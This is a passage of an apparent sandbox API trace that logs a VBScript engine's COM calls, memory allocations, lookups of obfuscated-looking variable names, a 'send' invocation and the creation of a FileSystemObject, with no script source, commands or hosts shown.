Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14aefc | out: ppvObject=0x14aefc*=0x0) returned 0x80004002 [0069.825] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14aec4 | out: ppvObject=0x14aec4*=0x83fd480) returned 0x0 [0069.825] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14aec0 | out: ppvObject=0x14aec0*=0x83fd490) returned 0x0 [0069.825] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14aefc | out: ppvObject=0x14aefc*=0x0) returned 0x80004002 [0069.825] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0069.825] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0069.826] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x14af0c | out: ppvObject=0x14af0c*=0x0) returned 0x80004002 [0069.826] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14aec4 | out: ppvObject=0x14aec4*=0x83fd480) returned 0x0 [0069.826] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14aec0 | out: ppvObject=0x14aec0*=0x83fd490) returned 0x0 [0069.826] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x14af0c | out: ppvObject=0x14af0c*=0x0) returned 0x80004002 [0069.826] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0069.826] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0069.826] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14af00 | out: ppvObject=0x14af00*=0x0) returned 0x80004002 [0069.826] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14aec4 | out: ppvObject=0x14aec4*=0x83fd480) returned 0x0 [0069.826] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14aec0 | out: ppvObject=0x14aec0*=0x83fd490) returned 0x0 [0069.826] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14af00 | out: ppvObject=0x14af00*=0x0) returned 0x80004002 [0069.826] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0069.826] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0069.826] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14af00 | out: ppvObject=0x14af00*=0x0) returned 0x80004002 [0069.826] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14aec4 | out: ppvObject=0x14aec4*=0x83fd480) returned 0x0 [0069.826] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14aec0 | out: ppvObject=0x14aec0*=0x83fd490) returned 0x0 [0069.826] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14af00 | out: ppvObject=0x14af00*=0x0) returned 0x80004002 [0069.826] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0069.826] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0069.826] DOMDocument:IUnknown:Release (This=0x1112a88) returned 0x3 [0069.826] DOMDocument:IUnknown:Release (This=0x1112a88) returned 0x2 [0069.826] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14bf9c | out: ppvObject=0x14bf9c*=0x1112a88) returned 0x0 [0069.826] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x14bfa0 | out: ppvObject=0x14bfa0*=0x0) returned 0x80004002 [0069.826] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bf70 | out: ppvObject=0x14bf70*=0x83fd480) returned 0x0 [0069.827] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14bf6c | out: ppvObject=0x14bf6c*=0x83fd490) returned 0x0 [0069.827] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x14bfa0 | out: ppvObject=0x14bfa0*=0x0) returned 0x80004002 [0069.827] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0069.827] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0069.827] DOMDocument:IUnknown:Release (This=0x1112a88) returned 0x2 [0069.827] DOMDocument:IUnknown:Release (This=0x554600) returned 0x1 [0069.827] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0069.827] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="eeree", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0069.827] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="eeree", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0069.827] GetCurrentThreadId () returned 0xd44 [0069.828] IUnknown:Release (This=0x1197760) returned 0x5 [0069.828] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0069.828] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="yoha", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0069.828] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="yoha", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0069.828] GetCurrentThreadId () returned 0xd44 [0069.828] IUnknown:Release (This=0x1197760) returned 0x5 [0069.829] ??2@YAPAXI@Z () returned 0x86a0b90 [0069.829] malloc (_Size=0x804) returned 0x8790008 [0069.829] ??2@YAPAXI@Z () returned 0x8460768 [0069.829] ??3@YAXPAX@Z () returned 0x1 [0069.829] malloc (_Size=0x204) returned 0x8790818 [0069.829] malloc (_Size=0x40) returned 0x11977f0 [0069.829] malloc (_Size=0xfc) returned 0x8444948 [0069.829] ??2@YAPAXI@Z () returned 0x1129260 [0069.829] free (_Block=0x83d08e0) [0069.830] free (_Block=0x8790008) [0069.830] ??3@YAXPAX@Z () returned 0x740001 [0069.830] free (_Block=0x11977f0) [0069.830] free (_Block=0x8790818) [0069.830] free (_Block=0x11c2398) [0069.830] ??2@YAPAXI@Z () returned 0x86a0b90 [0069.830] ??2@YAPAXI@Z () returned 0x83fd5e8 [0069.830] IUnknown:AddRef (This=0x1197760) returned 0x6 [0069.830] DOMDocument:IUnknown:QueryInterface (in: This=0x554600, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c0fc | out: ppvObject=0x14c0fc*=0x0) returned 0x80004002 [0069.830] DOMDocument:IDispatch:GetIDsOfNames (in: This=0x554600, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14c100*="send", cNames=0x1, lcid=0x409, rgDispId=0x14c118 | out: rgDispId=0x14c118*=5) returned 0x0 [0069.830] DOMDocument:IUnknown:AddRef (This=0x554600) returned 0x2 [0069.830] DOMDocument:IUnknown:QueryInterface (in: This=0x554600, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c104 | out: ppvObject=0x14c104*=0x0) returned 0x80004002 [0069.830] DOMDocument:IDispatch:Invoke (in: This=0x554600, dispIdMember=5, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x14c0d0*(rgvarg=0x83d6768, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14c0ac, puArgErr=0x14c0f0 | out: pDispParams=0x14c0d0*(rgvarg=0x83d6768, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14c0ac*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14c0f0*=0x554600) returned 0x0 [0069.837] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14bc6c | out: ppvObject=0x14bc6c*=0x1112a88) returned 0x0 [0069.837] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x754746b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x754746b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x6bcd840 | out: ppvObject=0x6bcd840*=0x0) returned 0x80004002 [0069.837] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bc44 | out: ppvObject=0x14bc44*=0x83fd480) returned 0x0 [0069.837] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14bc40 | out: ppvObject=0x14bc40*=0x83fd490) returned 0x0 [0069.837] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x754746b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x754746b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x6bcd840 | out: ppvObject=0x6bcd840*=0x0) returned 0x80004002 [0069.837] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0069.837] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0069.837] DOMDocument:IUnknown:Release (This=0x1112a88) returned 0x2 [0072.029] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14b134 | out: ppvObject=0x14b134*=0x1112a88) returned 0x0 [0072.029] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x75486b30*(Data1=0x4f9f9fcb, Data2=0xe0f4, Data3=0x48eb, Data4=([0]=0xb7, [1]=0xab, [2]=0xfa, [3]=0x2e, [4]=0xa9, [5]=0x36, [6]=0x5c, [7]=0xb4)), riid=0x75486b30*(Data1=0x4f9f9fcb, Data2=0xe0f4, Data3=0x48eb, Data4=([0]=0xb7, [1]=0xab, [2]=0xfa, [3]=0x2e, [4]=0xa9, [5]=0x36, [6]=0x5c, [7]=0xb4)), ppvObject=0x6bcdd48 | out: ppvObject=0x6bcdd48*=0x0) returned 0x80004002 [0072.029] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b10c | out: ppvObject=0x14b10c*=0x83fd480) returned 0x0 [0072.029] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14b108 | out: ppvObject=0x14b108*=0x83fd490) returned 0x0 [0072.030] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x75486b30*(Data1=0x4f9f9fcb, Data2=0xe0f4, Data3=0x48eb, Data4=([0]=0xb7, [1]=0xab, [2]=0xfa, [3]=0x2e, [4]=0xa9, [5]=0x36, [6]=0x5c, [7]=0xb4)), riid=0x75486b30*(Data1=0x4f9f9fcb, Data2=0xe0f4, Data3=0x48eb, Data4=([0]=0xb7, [1]=0xab, [2]=0xfa, [3]=0x2e, [4]=0xa9, [5]=0x36, [6]=0x5c, [7]=0xb4)), ppvObject=0x6bcdd48 | out: ppvObject=0x6bcdd48*=0x0) returned 0x80004002 [0072.030] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0072.030] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0072.030] DOMDocument:IUnknown:Release (This=0x1112a88) returned 0x2 [0072.933] DOMDocument:IUnknown:Release (This=0x554600) returned 0x1 [0072.933] ??3@YAXPAX@Z () returned 0x7f0001 [0072.933] free (_Block=0x8444948) [0072.934] ??3@YAXPAX@Z () returned 0x200001 [0072.934] ??3@YAXPAX@Z () returned 0x740001 [0072.935] ??2@YAPAXI@Z () returned 0x86a0b90 [0072.935] malloc (_Size=0x804) returned 0x8790008 [0072.935] ??2@YAPAXI@Z () returned 0x844b458 [0072.935] malloc (_Size=0x1004) returned 0x83d08e0 [0072.935] ??3@YAXPAX@Z () returned 0x1 [0072.935] malloc (_Size=0x204) returned 0x8790818 [0072.935] malloc (_Size=0xa4) returned 0x8790a28 [0072.935] ??2@YAPAXI@Z () returned 0x1129260 [0072.935] free (_Block=0x83d08e0) [0072.935] free (_Block=0x8790008) [0072.936] ??3@YAXPAX@Z () returned 0x740001 [0072.936] free (_Block=0x8790818) [0072.936] free (_Block=0x11c2398) [0072.936] ??2@YAPAXI@Z () returned 0x86a0b90 [0072.936] ??2@YAPAXI@Z () returned 0x83fd5e8 [0072.936] IUnknown:AddRef (This=0x1197760) returned 0x6 [0072.936] GetCurrentThreadId () returned 0xd44 [0072.936] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c0c0 | out: ppvObject=0x14c0c0*=0x1197760) returned 0x0 [0072.936] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="sfo", grfdex=0x8, pid=0x14c0dc | out: pid=0x14c0dc*=1360324) returned 0x80020006 [0072.936] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="sfo", grfdex=0x8, pid=0x14c034 | out: pid=0x14c034*=-1) returned 0x80020006 [0072.936] GetCurrentThreadId () returned 0xd44 [0072.936] IUnknown:Release (This=0x1197760) returned 0x6 [0072.937] ??3@YAXPAX@Z () returned 0x7f0001 [0072.937] ??3@YAXPAX@Z () returned 0x200001 [0072.937] ??3@YAXPAX@Z () returned 0x740001 [0072.937] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0072.937] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="oofofs", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0072.937] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="oofofs", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0072.937] GetCurrentThreadId () returned 0xd44 [0072.937] IUnknown:Release (This=0x1197760) returned 0x5 [0072.937] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0072.937] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="osdv", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0072.937] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="osdv", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0072.937] GetCurrentThreadId () returned 0xd44 [0072.937] IUnknown:Release (This=0x1197760) returned 0x5 [0072.938] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0072.938] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="mmgcb", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0072.938] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="mmgcb", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0072.938] GetCurrentThreadId () returned 0xd44 [0072.938] IUnknown:Release (This=0x1197760) returned 0x5 [0072.938] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0072.938] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="bicodo", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0072.938] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="bicodo", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0072.938] GetCurrentThreadId () returned 0xd44 [0072.939] IUnknown:Release (This=0x1197760) returned 0x5 [0072.939] ??2@YAPAXI@Z () returned 0x86a0b90 [0072.939] malloc (_Size=0x804) returned 0x8790008 [0072.939] ??2@YAPAXI@Z () returned 0x844b458 [0072.939] ??3@YAXPAX@Z () returned 0x1 [0072.939] malloc (_Size=0x204) returned 0x8790818 [0072.939] malloc (_Size=0x40) returned 0x11977f0 [0072.939] malloc (_Size=0x144) returned 0x1198da8 [0072.939] ??2@YAPAXI@Z () returned 0x1129260 [0072.939] free (_Block=0x83d08e0) [0072.939] free (_Block=0x8790008) [0072.939] ??3@YAXPAX@Z () returned 0x740001 [0072.939] free (_Block=0x11977f0) [0072.939] free (_Block=0x8790818) [0072.939] free (_Block=0x11c2398) [0072.939] ??2@YAPAXI@Z () returned 0x86a0b90 [0072.939] ??2@YAPAXI@Z () returned 0x83fd5e8 [0072.940] IUnknown:AddRef (This=0x1197760) returned 0x6 [0072.940] CLSIDFromProgIDEx (in: lpszProgID="scripting.filesystemobject", lpclsid=0x14c06c | out: lpclsid=0x14c06c*(Data1=0xd43fe01, Data2=0xf093, Data3=0x11cf, Data4=([0]=0x89, [1]=0x40, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x5, [6]=0x42, [7]=0x28))) returned 0x0 [0072.949] SysStringLen (param_1=0x0) returned 0x0 [0072.949] CoGetClassObject (in: rclsid=0x14c06c*(Data1=0xd43fe01, Data2=0xf093, Data3=0x11cf, Data4=([0]=0x89, [1]=0x40, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x5, [6]=0x42, [7]=0x28)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x14c05c | out: ppv=0x14c05c*=0x838c598) returned 0x0 [0072.979] FileSystemObject:IUnknown:QueryInterface (in: This=0x838c598, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x14c058 | out: ppvObject=0x14c058*=0x0) returned 0x80004002 [0072.979] FileSystemObject:IClassFactory:CreateInstance (in: This=0x838c598, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14c060 | out: ppvObject=0x14c060*=0x838c578) returned 0x0 [0072.980] FileSystemObject:IUnknown:Release (This=0x838c598) returned 0x0 [0072.980] FileSystemObject:IUnknown:QueryInterface (in: This=0x838c578, 